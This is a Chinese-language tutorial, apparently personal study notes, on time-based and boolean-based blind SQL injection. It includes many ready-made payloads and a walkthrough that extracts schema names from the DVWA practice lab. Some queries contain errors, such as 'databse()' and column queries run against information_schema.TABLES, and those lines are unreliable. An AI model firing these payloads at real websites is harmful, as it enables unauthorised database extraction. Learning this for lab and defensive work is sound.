1. 程式人生 > >SQL注入筆記03:盲注攻擊

SQL注入筆記03:盲注攻擊

普通聯合注入和盲注的區別
普通注入:效率高,相容性差
盲注:效率低,相容性強
工具採用的基本都為盲注及其他注入

********************************************************基於時間延遲的盲注攻擊:********************************************************
sleep()                           //等待一定時間後執行SQL語句,單位為秒,如sleep(3)為等待3秒
if(條件,true,false)          //條件為真返回true值,否則返回false值,如if(a=b,0,5)為如果a等於b則返回0,否找返回5。常用條件:=、<、<=、>、>=
length(str)                    //返回長度
mid(str,start,length)     //擷取字串,從1開始,0以及超過長度部分返回NULL
ord(str)                        //返回字串第一個字元的 ASCII 值。


判斷是否存在注入,注入是字元型還是數字型
輸入1’ and sleep(5) #,感覺到明顯延遲;->'1' and sleep(5)#'
輸入1 and sleep(5) #,沒有延遲;->'1 and sleep(5) #'
說明存在字元型的基於時間的盲注。

輸入1’ and sleep(5) #,沒有延遲;->1' and sleep(5)#
輸入1 and sleep(5) #,感覺到明顯延遲;->1 and sleep(5) #
說明存在數字型的基於時間的盲注。

下面以數字型為例
****************************猜測資料庫****************************
1、猜測資料庫名長度
//如果資料庫名等於猜測長度則返回0,否找返回5。返回0網頁立馬重新整理,返回5網頁延遲重新整理
(url)?x=1 AND SLEEP(IF(LENGTH(DATABASE())=猜測長度,0,3));

2、猜測完整資料庫名
//如果資料庫名等於猜測名則返回0,否找返回5。返回0網頁立馬重新整理,返回5網頁延遲重新整理
(url)?x=1 AND SLEEP(IF(DATABASE()='猜測名',0,3));

3、猜測資料庫指定位置的字元
//猜測第一個字元
(url)?x=1 AND SLEEP(IF(MID(DATABASE(),1,1)='猜測字元',0,3));
//猜測第一個到第N個的字元段
(url)?x=1 AND SLEEP(IF(MID(DATABASE(),1,N)='猜測字元段',0,3));

4、猜測資料庫指定位置的字元的ASCII編碼及範圍
//MID(DATABASE(),2,1)此處為第二個字元
//猜測指定值
(url)?x=1 AND SLEEP(IF(ORD(MID(DATABASE(),2,1))=猜測值,0,3)); 
//猜測指定範圍
(url)?x=1 AND SLEEP(IF(ORD(MID(DATABASE(),2,1))<猜測值,0,3));
(url)?x=1 AND SLEEP(IF(ORD(MID(DATABASE(),2,1))<=猜測值,0,3));
(url)?x=1 AND SLEEP(IF(ORD(MID(DATABASE(),2,1))>猜測值,0,3));
(url)?x=1 AND SLEEP(IF(ORD(MID(DATABASE(),2,1))>=猜測值,0,3));

****************************猜測資料庫表****************************
1、猜測資料庫裡有多少張表
//table_schema=DATABASE():指定當前資料庫
//SLEEP(IF(COUNT(TABLE_NAME)=表數量,0,3)):如果表數量猜對了則不等待,否找等待3秒
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(COUNT(TABLE_NAME)=表數量,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE();

2、猜測第N個表的名字長度
//union:因為包含查詢查詢操作,所以不用and
//limit 0,1:只讀取第一條資料,即資料庫下面第一個表的名字。limit 開始位置,長度:limit 5,6為查詢結果裡第6-11條結果
//=猜測值:還可以<、<=、>、>=
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(LENGTH(TABLE_NAME)=猜測值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 0,1;

3、猜測表名指定位置的字元
//LIMIT 0,1:猜測第一個表名
//猜測第一個字元
UNION SELECT 1,2,3,4,SLEEP(IF(MID(TABLE_NAME,1,1)='指定字元',0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 0,1;
//猜測第一個到第N個的字元段
(UNION SELECT 1,2,3,4,SLEEP(IF(MID(TABLE_NAME,1,N)='指定字元段',0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 0,1;

4、猜測資料庫表指定位置的字元的ASCII編碼及範圍
//MID(TABLE_NAME,2,1)此處為第二個字元
//猜測指定值
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(TABLE_NAME,2,1))=猜測值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 0,1;
//猜測指定範圍
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(TABLE_NAME,2,1))<猜測值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 0,1;
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(TABLE_NAME,2,1))<=猜測值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 0,1;
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(TABLE_NAME,2,1))>猜測值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 0,1;
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(TABLE_NAME,2,1))>=猜測值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 0,1;

****************************猜測資料庫表列****************************
1、猜測資料庫裡有多少張表
//table_name='city':以city表為例
//table_schema=DATABASE():指定當前資料庫
//SLEEP(IF(COUNT(column_name)=列數量,0,3)):如果列數量猜對了則不等待,否找等待3秒
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(COUNT(column_name)=列數量,0,3)) FROM information_schema.COLUMNS WHERE table_schema=DATABASE() AND table_name='city';

2、猜測第N個列的名字長度
//union:因為包含查詢查詢操作,所以不用and
//limit 0,1:只讀取第一條資料,即資料庫下面第一個列的名字。limit 開始位置,長度:limit 5,6為查詢結果裡第6-11條結果
//=猜測值:還可以<、<=、>、>=
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(LENGTH(column_name)=猜測值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND table_name='city' LIMIT 0,1;

3、猜測列名指定位置的字元
//LIMIT 0,1:猜測第一個列名
//猜測第一個字元
UNION SELECT 1,2,3,4,SLEEP(IF(MID(column_name,1,1)='指定字元',0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND table_name='city' LIMIT 0,1;
//猜測第一個到第N個的字元段
(UNION SELECT 1,2,3,4,SLEEP(IF(MID(column_name,1,N)='指定字元段',0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND table_name='city' LIMIT 0,1;

4、猜測列名指定位置的字元的ASCII編碼及範圍
//MID(TABLE_NAME,2,1)此處為第二個字元
//猜測指定值
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(column_name,2,1))=猜測值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND table_name='city' LIMIT 0,1;
//猜測指定範圍
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(column_name,2,1))<猜測值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND table_name='city' LIMIT 0,1;
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(column_name,2,1))<=猜測值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND table_name='city' LIMIT 0,1;
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(column_name,2,1))>猜測值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND table_name='city' LIMIT 0,1;
(url)?x=1 UNION SELECT 1,2,3,4,SLEEP(IF(ORD(MID(column_name,2,1))>=猜測值,0,3)) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND table_name='city' LIMIT 0,1;


********************************************************基於布林的盲注攻擊:********************************************************
1.判斷是否存在注入,注入是字元型還是數字型
輸入1,顯示相應使用者存在:
輸入1’ and 1=1 #,顯示存在:
輸入1’ and 1=2 #,顯示不存在:
說明存在字元型的SQL盲注。


2.猜解當前資料庫名
想要猜解資料庫名,首先要猜解資料庫名的長度,然後挨個猜解字元。
輸入1’ and length(database())=1 #,顯示不存在;
輸入1’ and length(database())=2 #,顯示不存在;
輸入1’ and length(database())=3 #,顯示不存在;
輸入1’ and length(database())=4 #,顯示存在:
說明資料庫名長度為4。

下面採用二分法猜解資料庫名。
輸入1’ and ascii(substr(databse(),1,1))>97 #,顯示存在,說明資料庫名的第一個字元的ascii值大於97(小寫字母a的ascii值);
輸入1’ and ascii(substr(databse(),1,1))<122 #,顯示存在,說明資料庫名的第一個字元的ascii值小於122(小寫字母z的ascii值);
輸入1’ and ascii(substr(databse(),1,1))<109 #,顯示存在,說明資料庫名的第一個字元的ascii值小於109(小寫字母m的ascii值);
輸入1’ and ascii(substr(databse(),1,1))<103 #,顯示存在,說明資料庫名的第一個字元的ascii值小於103(小寫字母g的ascii值);
輸入1’ and ascii(substr(databse(),1,1))<100 #,顯示不存在,說明資料庫名的第一個字元的ascii值不小於100(小寫字母d的ascii值);
輸入1’ and ascii(substr(databse(),1,1))>100 #,顯示不存在,說明資料庫名的第一個字元的ascii值不大於100(小寫字母d的ascii值),所以資料庫名的第一個字元的ascii值為100,即小寫字母d。

重複上述步驟,就可以猜解出完整的資料庫名(dvwa)了。


3.猜解資料庫中的表名
首先猜解資料庫中表的數量:
1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 顯示不存在
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 顯示存在
說明資料庫中共有兩個表。

接著挨個猜解表名:
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 顯示不存在
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 顯示不存在

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 顯示存在
說明第一個表名長度為9。
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 顯示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 顯示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 顯示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 顯示不存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 顯示不存在
說明第一個表的名字的第一個字元為小寫字母g。

重複上述步驟,即可猜解出兩個表名(guestbook、users)。


4.猜解表中的欄位名
首先猜解表中欄位的數量:
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 顯示不存在

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 顯示存在
說明users表有8個欄位。

接著挨個猜解欄位名:
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 顯示不存在

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 顯示存在
說明users表的第一個欄位為7個字元長度。

採用二分法,即可猜解出所有欄位名。